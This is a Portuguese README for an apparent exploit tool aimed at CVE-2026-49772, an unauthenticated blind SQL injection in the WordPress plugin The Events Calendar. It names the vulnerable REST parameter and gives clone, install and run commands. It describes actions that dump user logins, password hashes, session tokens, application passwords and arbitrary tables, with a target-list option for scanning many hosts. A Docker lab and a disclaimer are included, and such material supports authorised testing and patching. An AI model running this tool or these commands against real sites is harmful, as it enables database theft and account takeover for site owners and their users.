
CVE-2026-49772 — The Events Calendar (WordPress) PoC de SQLi cego não autenticado
CVE-2026-49772 é uma injeção SQL cega não autenticada no plugin WordPress
The Events Calendar. Um validador de parâmetro REST quebrado (validate_callback
retorna uma closure em vez de validar) permite que o parâmetro order na
API REST experimental tec/v1 atinja a cláusula ORDER BY do SQL sem sanitização:
GET /wp-json/tec/v1/events?orderby=event_date&order=<INJECTION>
... ORDER BY event_date <INJECTION>, wp_posts.post_date DESC ...
Esta é uma injeção somente leitura (sem consultas empilhadas, sem gravações, sem saída direta) — mas todo o banco de dados pode ser extraído via um oráculo booleano/baseado em tempo: hashes de senha de usuário, tokens de sessão, senhas de aplicativo, chaves secretas.
Versões afetadas: The Events Calendar 6.15.12 – 6.16.2 (corrigido na versão 6.16.3)
Gravidade: CVSS 3.1 9.3 Crítico — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
--check — Detecção não intrusiva: namespace REST, versão do plugin, confirmação baseada em tempo--recon — Impressão digital do banco: versão, usuário atual, banco, SO, privilégios, prefixo de tabela--users — Extrair wp_users: logins, e-mails, hashes de senha--user-meta — Extrair wp_usermeta: tokens de sessão, senhas de aplicativo, capacidades--get-table — Extrair qualquer tabela com descoberta automática de colunas--query — Extrair o resultado de qualquer SELECT escalarApenas biblioteca padrão Python 3 — requirements.txt está incluído para o fluxo
padrão, mas não instala nada extra.
git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
python3 CVE-2026-49772.py --help
git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python CVE-2026-49772.py --help
python3 CVE-2026-49772.py <target> <acao> [opcoes]
Escolha exatamente uma ação: --check, --recon, --users, --user-meta,
--get-table <TABELA>, --query <SQL>. Execute --help para todas as opções.
python3 CVE-2026-49772.py target.tld --check
python3 CVE-2026-49772.py target.tld --recon
python3 CVE-2026-49772.py target.tld --users
python3 CVE-2026-49772.py target.tld --query "SELECT @@version"
Ajustes: --technique boolean|time, --delay, --threads, --rows, --prefix,
--where, -useragent, -timeout. Escaneie muitos hosts com -l targets.txt.
Um laboratório Docker Compose autocontido com o plugin vulnerável (incluído, não baixado na inicialização) e eventos pré-preenchidos. Veja docker/DOCKER.md.
cd docker/
docker compose up -d
python3 ../CVE-2026-49772.py localhost:8080 --check
/wp-json/tec/v1/ no WAF / proxy reversoEsta ferramenta é fornecida apenas para fins educacionais e de pesquisa. Use-a apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O criador não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado por esta ferramenta.